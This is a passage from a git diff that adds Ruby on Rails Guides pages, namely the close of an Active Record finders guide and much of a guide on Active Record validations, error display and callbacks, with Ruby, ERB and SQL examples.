you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+. + +You can do +find_last_by_*+ methods too which will find the last record matching your argument. + +You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ + +If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+. + + +There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+: + +<sql> +SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1 +BEGIN +INSERT INTO clients (name, updated_at, created_at, orders_count, locked) + VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +COMMIT +</sql> + ++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example: + +<ruby> +client = Client.find_or_initialize_by_name('Ryan') +</ruby> + +will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. + +h3. Finding by SQL + +If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query: + +<ruby> +Client.find_by_sql("SELECT * FROM clients + INNER JOIN orders ON clients.id = orders.client_id + ORDER clients.created_at desc") +</ruby> + ++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects. + +h3. +select_all+ + +<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. + +<ruby> +Client.connection.select_all("SELECT * FROM clients WHERE id = '1'") +</ruby> + +h3. Existence of Objects + +If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+. + +<ruby> +Client.exists?(1) +</ruby> + +The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists. + +<ruby> +Client.exists?(1,2,3) +# or +Client.exists?([1,2,3]) +</ruby> + +Further more, +exists+ takes a +conditions+ option much like find: + +<ruby> +Client.exists?(:conditions => "first_name = 'Ryan'") +</ruby> + +It's even possible to use +exists?+ without any arguments: + +<ruby> +Client.exists? +</ruby> + +The above returns +false+ if the +clients+ table is empty and +true+ otherwise. + +h3. Calculations + +This section uses count as an example method in this preamble, but the options described apply to all sub-sections. + +<tt>count</tt> takes conditions much in the same way +exists?+ does: + +<ruby> +Client.count(:conditions => "first_name = 'Ryan'") +</ruby> + +Which will execute: + +<sql> +SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan') +</sql> + +You can also use +:include+ or +:joins+ for this to do something a little more complex: + +<ruby> +Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders") +</ruby> + +Which will execute: + +<sql> +SELECT count(DISTINCT clients.id) AS count_all FROM clients + LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE + (clients.first_name = 'Ryan' AND orders.status = 'received') +</sql> + +This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table. + +h4. Count + +If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+. + +For options, please see the parent section, "Calculations":#calculations. + +h4. Average + +If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this: + +<ruby> +Client.average("orders_count") +</ruby> + +This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. + +For options, please see the parent section, "Calculations":#calculations. + +h4. Minimum + +If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this: + +<ruby> +Client.minimum("age") +</ruby> + +For options, please see the parent section, "Calculations":#calculations. + +h4. Maximum + +If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this: + +<ruby> +Client.maximum("age") +</ruby> + +For options, please see the parent section, "Calculations":#calculations. + +h4. Sum + +If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this: + +<ruby> +Client.sum("orders_count") +</ruby> + +For options, please see the parent section, "Calculations":#calculations. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16 + +* February 7, 2009: Second version by "Pratik":credits.html#lifo +* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar diff --git a/railties/guides/source/activerecord_validations_callbacks.textile b/railties/guides/source/activerecord_validations_callbacks.textile new file mode 100644 index 0000000000..5ae4884297 --- /dev/null +++ b/railties/guides/source/activerecord_validations_callbacks.textile @@ -0,0 +1,1086 @@ +h2. Active Record Validations and Callbacks + +This guide teaches you how to hook into the lifecycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object lifecycle. + +After reading this guide and trying out the presented concepts, we hope that you'll be able to: + +* Understand the lifecycle of Active Record objects +* Use the built-in Active Record validation helpers +* Create your own custom validation methods +* Work with the error messages generated by the validation process +* Create callback methods that respond to events in the object lifecycle +* Create special classes that encapsulate common behavior for your callbacks +* Create Observers that respond to lifecycle events outside of the original class + +endprologue. + +h3. The Object Lifecycle + +During the normal operation of a Rails application objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object lifecycle</em> so that you can control your application and its data. + +Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state. + +h3. Validations Overview + +Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. + +h4. Why Use Validations? + +Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. + +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. + +* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. +* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. +* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run. +* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well. + +h4. When Does Validation Happen? + +There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class: + +<ruby> +class Person < ActiveRecord::Base +end +</ruby> + +We can see how it works by looking at some script/console output: + +<shell> +>> p = Person.new(:name => "John Doe") +=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> +>> p.new_record? +=> true +>> p.save +=> true +>> p.new_record? +=> false +</shell> + +Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. + +CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful. + +The following methods trigger validations, and will save the object to the database only if the object is valid: + +* +create+ +* +create!+ +* +save+ +* +save!+ +* +update+ +* +update_attributes+ +* +update_attributes!+ + +The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the object/s. + +h4. Skipping Validations + +The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution. + +* +decrement!+ +* +decrement_counter+ +* +increment!+ +* +increment_counter+ +* +toggle!+ +* +update_all+ +* +update_attribute+ +* +update_counters+ + +Note that +save+ also has the ability to skip validations if passed +false+ as argument. This technique should be used with caution. + +* +save(false)+ + +h4. +valid?+ and +invalid?+ + +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name +end + +Person.create(:name => "John Doe").valid? # => true +Person.create(:name => nil).valid? # => false +</ruby> + +When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. + +Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name +end + +>> p = Person.new +=> #<Person id: nil, name: nil> +>> p.errors +=> #<ActiveRecord::Errors..., @errors={}> + +>> p.valid? +=> false +>> p.errors +=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}> + +>> p = Person.create +=> #<Person id: nil, name: nil> +>> p.errors +=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}> + +>> p.save +=> false + +>> p.save! +=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank + +>> Person.create! +=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +</ruby> + ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. + +h4. +errors.invalid?+ + +To verify whether or not a particular attribute of an object is valid, you can use the +errors.invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name +end + +>> Person.new.errors.invalid?(:name) # => false +>> Person.create.errors.invalid?(:name) # => true +</ruby> + +We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default. + +h3. Validation Helpers + +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. + +Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. + +All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers. + +h4. +validates_acceptance_of+ + +Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). + +<ruby> +class Person < ActiveRecord::Base + validates_acceptance_of :terms_of_service +end +</ruby> + +The default error message for +validates_acceptance_of+ is "_must be accepted_". + ++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this. + +<ruby> +class Person < ActiveRecord::Base + validates_acceptance_of :terms_of_service, :accept => 'yes' +end +</ruby> + +h4. +validates_associated+ + +You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects. + +<ruby> +class Library < ActiveRecord::Base + has_many :books + validates_associated :books +end +</ruby> + +This validation will work with all of the association types. + +CAUTION: Don't use +validates_associated+ on both ends of your associations, they would call each other in an infinite loop. + +The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model. + +h4. +validates_confirmation_of+ + +You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended. + +<ruby> +class Person < ActiveRecord::Base + validates_confirmation_of :email +end +</ruby> + +In your view template you could use something like + +<erb> +<%= text_field :person, :email %> +<%= text_field :person, :email_confirmation %> +</erb> + +This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide): + +<ruby> +class Person < ActiveRecord::Base + validates_confirmation_of :email + validates_presence_of :email_confirmation +end +</ruby> + +The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_". + +h4. +validates_exclusion_of+ + +This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. + +<ruby> +class Account < ActiveRecord::Base + validates_exclusion_of :subdomain, :in => %w(www), + :message => "Subdomain {{value}} is reserved." +end +</ruby> + +The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. + +The default error message for +validates_exclusion_of+ is "_is not included in the list_". + +h4. +validates_format_of+ + +This helper validates the attributes' values by testing whether they match a given regular expresion, which is specified using the +:with+ option. + +<ruby> +class Product < ActiveRecord::Base + validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/, + :message => "Only letters allowed" +end +</ruby> + +The default error message for +validates_format_of+ is "_is invalid_". + +h4. +validates_inclusion_of+ + +This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. + +<ruby> +class Coffee < ActiveRecord::Base + validates_inclusion_of :size, :in => %w(small medium large), + :message => "{{value}} is not a valid size" +end +</ruby> + +The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. + +The default error message for +validates_inclusion_of+ is "_is not included in the list_". + +h4. +validates_length_of+ + +This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways: + +<ruby> +class Person < ActiveRecord::Base + validates_length_of :name, :minimum => 2 + validates_length_of :bio, :maximum => 500 + validates_length_of :password, :in => 6..20 + validates_length_of :registration_number, :is => 6 +end +</ruby> + +The possible length constraint options are: + +* +:minimum+ - The attribute cannot have less than the specified length. +* +:maximum+ - The attribute cannot have more than the specified length. +* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range. +* +:is+ - The attribute length must be equal to the given value. + +The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>{{count}}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message. + +<ruby> +class Person < ActiveRecord::Base + validates_length_of :bio, :maximum => 1000, + :too_long => "{{count}} characters is the maximum allowed" +end +</ruby> + +This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option: + +<ruby> +class Essay < ActiveRecord::Base + validates_length_of :content, + :minimum => 300, + :maximum => 400, + :tokenizer => lambda { |str| str.scan(/\w+/) }, + :too_short => "must have at least {{count}} words", + :too_long => "must have at most {{count}} words" +end +</ruby> + +The +validates_size_of+ helper is an alias for +validates_length_of+. + +h4. +validates_numericality_of+ + +This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true. + +If you set +:only_integer+ to +true+, then it will use the + +<ruby> +/\A[+-]?\d+\Z/ +</ruby> + +regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. + +WARNING. Note that the regular expression above allows a trailing newline character. + +<ruby> +class Player < ActiveRecord::Base + validates_numericality_of :points + validates_numericality_of :games_played, :only_integer => true +end +</ruby> + +Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values: + +* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than {{count}}_". +* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to {{count}}". +* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to {{count}}_". +* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than {{count}}_". +* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to {{count}}_". +* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_". +* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_". + +The default error message for +validates_numericality_of+ is "_is not a number_". + +h4. +validates_presence_of+ + +This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name, :login, :email +end +</ruby> + +If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself. + +<ruby> +class LineItem < ActiveRecord::Base + belongs_to :order + validates_presence_of :order_id +end +</ruby> + +Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+. + +The default error message for +validates_presence_of+ is "_can't be empty_". + +h4. +validates_uniqueness_of+ + +This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database. + +<ruby> +class Account < ActiveRecord::Base + validates_uniqueness_of :email +end +</ruby> + +The validation happens by performing a SQL query into the model's table, searching for an existing record with the same value in that attribute. + +There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check: + +<ruby> +class Holiday < ActiveRecord::Base + validates_uniqueness_of :name, :scope => :year, + :message => "should happen once per year" +end +</ruby> + +There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true. + +<ruby> +class Person < ActiveRecord::Base + validates_uniqueness_of :name, :case_sensitive => false +end +</ruby> + +WARNING. Note that some databases are configured to perform case-insensitive searches anyway. + +The default error message for +validates_uniqueness_of+ is "_has already been taken_". + +h4. +validates_each+ + +This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. + +<ruby> +class Person < ActiveRecord::Base + validates_each :name, :surname do |model, attr, value| + model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + end +end +</ruby> + +The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. + +h3. Common Validation Options + +There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in "Conditional Validation":#conditional-validation. + +h4. +:allow_nil+ + +The +:allow_nil+ option skips the validation when the value being validated is +nil+. Using +:allow_nil+ with +validates_presence_of+ allows for +nil+, but any other +blank?+ value will still be rejected. + +<ruby> +class Coffee < ActiveRecord::Base + validates_inclusion_of :size, :in => %w(small medium large), + :message => "{{value}} is not a valid size", :allow_nil => true +end +</ruby> + +h4. +:allow_blank+ + +The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example. + +<ruby> +class Topic < ActiveRecord::Base + validates_length_of :title, :is => 5, :allow_blank => true +end + +Topic.create("title" => "").valid? # => true +Topic.create("title" => nil).valid? # => true +</ruby> + +h4. +:message+ + +As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. + +h4. +:on+ + +The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated. + +<ruby> +class Person < ActiveRecord::Base + # it will be possible to update email with a duplicated value + validates_uniqueness_of :email, :on => :create + + # it will be possible to create the record with a non-numerical age + validates_numericality_of :age, :on => :update + + # the default (validates on both create and update) + validates_presence_of :name, :on => :save +end +</ruby> + +h3. Conditional Validation + +Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option. + +h4. Using a Symbol with +:if+ and +:unless+ + +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. + +<ruby> +class Order < ActiveRecord::Base + validates_presence_of :card_number, :if => :paid_with_card? + + def paid_with_card? + payment_type == "card" + end +end +</ruby> + +h4. Using a String with +:if+ and +:unless+ + +You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :surname, :if => "name.nil?" +end +</ruby> + +h4. Using a Proc with +:if+ and +:unless+ + +Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners. + +<ruby> +class Account < ActiveRecord::Base + validates_confirmation_of :password, + :unless => Proc.new { |a| a.password.blank? } +end +</ruby> + +h3. Creating Custom Validation Methods + +When the built-in validation helpers are not enough for your needs, you can write your own validation methods. + +Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. + +You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. + +<ruby> +class Invoice < ActiveRecord::Base + validate :expiration_date_cannot_be_in_the_past, + :discount_cannot_be_greater_than_total_value + + def expiration_date_cannot_be_in_the_past + errors.add(:expiration_date, "can't be in the past") if + !expiration_date.blank? and expiration_date < Date.today + end + + def discount_cannot_be_greater_than_total_value + errors.add(:discount, "can't be greater than total value") if + discount > total_value + end +end +</ruby> + +You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses: + +<ruby> +ActiveRecord::Base.class_eval do + def self.validates_as_radio(attr_name, n, options={}) + validates_inclusion_of attr_name, {:in => 1..n}.merge(options) + end +end +</ruby> + +Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this: + +<ruby> +class Movie < ActiveRecord::Base + validates_as_radio :rating, 5 +end +</ruby> + +h3. Working with Validation Errors + +In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. + +The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods. + +h4. +errors.add_to_base+ + +The +add_to_base+ method lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. +add_to_base+ simply receives a string and uses this as the error message. + +<ruby> +class Person < ActiveRecord::Base + def a_method_used_for_validation_purposes + errors.add_to_base("This person is invalid because ...") + end +end +</ruby> + +h4. +errors.add+ + +The +add+ method lets you manually add messages that are related to particular attributes. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself. + +<ruby> +class Person < ActiveRecord::Base + def a_method_used_for_validation_purposes + errors.add(:name, "cannot contain the characters !@#%*()_-+=") + end +end + +person = Person.create(:name => "!@#") + +person.errors.on(:name) + # => "cannot contain the characters !@#%*()_-+=" + +person.errors.full_messages + # => ["Name cannot contain the characters !@#%*()_-+="] +</ruby> + +h4. +errors.on+ + +The +on+ method is used when you want to check the error messages for a specific attribute. It returns different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute +on+ returns +nil+. If there is just one error message for this attribute +on+ returns a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ returns an array of strings, each one with one error message. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name + validates_length_of :name, :minimum => 3 +end + +person = Person.new(:name => "John Doe") +person.valid? # => true +person.errors.on(:name) # => nil + +person = Person.new(:name => "JD") +person.valid? # => false +person.errors.on(:name) + # => "is too short (minimum is 3 characters)" + +person = Person.new +person.valid? # => false +person.errors.on(:name) + # => ["can't be blank", "is too short (minimum is 3 characters)"] +</ruby> + +h4. +errors.clear+ + +The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name + validates_length_of :name, :minimum => 3 +end + +person = Person.new +person.valid? # => false +person.errors.on(:name) + # => ["can't be blank", "is too short (minimum is 3 characters)"] + +person.errors.clear +person.errors.empty? # => true + +p.save # => false + +p.errors.on(:name) + # => ["can't be blank", "is too short (minimum is 3 characters)"] +</ruby> + +h4. +errors.size+ + +The +size+ method returns the total number of error messages for the object. + +<ruby> +class Person < ActiveRecord::Base + validates_presence_of :name + validates_length_of :name, :minimum => 3 + validates_presence_of :email +end + +person = Person.new +person.valid? # => false +person.errors.size # => 3 + +person = Person.new(:name => "Andrea", :email => "andrea@example.com") +person.valid? # => true +person.errors.size # => 0 +</ruby> + +h3. Displaying Validation Errors in the View + +Rails provides built-in helpers to display the error messages of your models in your view templates. + +h4. +error_messages+ and +error_messages_for+ + +When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance. + +<ruby> +class Product < ActiveRecord::Base + validates_presence_of :description, :value + validates_numericality_of :value, :allow_nil => true +end +</ruby> + +<erb> +<% form_for(@product) do |f| %> + <%= f.error_messages %> + <p> + <%= f.label :description %><br /> + <%= f.text_field :description %> + </p> + <p> + <%= f.label :value %><br /> + <%= f.text_field :value %> + </p> + <p> + <%= f.submit "Create" %> + </p> +<% end %> +</erb> + +To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: + +!images/error_messages.png(Error messages)! + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. + +<erb> +<%= error_messages_for :product %> +</erb> + +The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. + +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. + +<erb> +<%= f.error_messages :header_message => "Invalid product!", + :message => "You'll need to fix the following fields:", + :header_tag => :h3 %> +</erb> + +Which results in the following content + +!images/customized_error_messages.png(Customized error messages)! + +If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. + +h4. Customizing the Error Messages CSS + +The selectors to customize the style of error messages are: + +* +.fieldWithErrors+ - Style for the form fields and labels with errors. +* +#errorExplanation+ - Style for the +div+ element with the error messages. +* +#errorExplanation h2+ - Style for the header of the +div+ element. +* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. +* +#errorExplanation ul li+ - Style for the list items with individual error messages. + +Scaffolding for example generates +public/stylesheets/scaffold.css+, which defines the red-based style you saw above. + +The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. + +h4. Customizing the Error Messages HTML + +By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override that. + +The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters: + +* A string with the HTML tag +* An instance of +ActionView::Helpers::InstanceTag+. + +Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. + +<ruby> +ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| + if instance.error_message.kind_of?(Array) + %(#{html_tag}<span class="validation-error"> + #{instance.error_message.join(',')}</span>) + else + %(#{html_tag}<span class="validation-error"> + #{instance.error_message}</span>) + end +end +</ruby> + +This will result in something like the following: + +!images/validation_error_messages.png(Validation error messages)! + +h3. Callbacks Overview + +Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. + +h4. Callback Registration + +In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. + +<ruby> +class User < ActiveRecord::Base + validates_presence_of :login, :email + + before_validation :ensure_login_has_a_value + + protected + def ensure_login_has_a_value + if login.nil? + self.login = email unless email.blank? + end + end +end +</ruby> + +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. + +<ruby> +class User < ActiveRecord::Base + validates_presence_of :login, :email + + before_create {|user| user.name = user.login.capitalize + if user.name.blank?} +end +</ruby> + +It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. + +h3. Available Callbacks + +Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations: + +h4. Creating an Object + +* +before_validation+ +* +before_validation_on_create+ +* +after_validation+ +* +after_validation_on_create+ +* 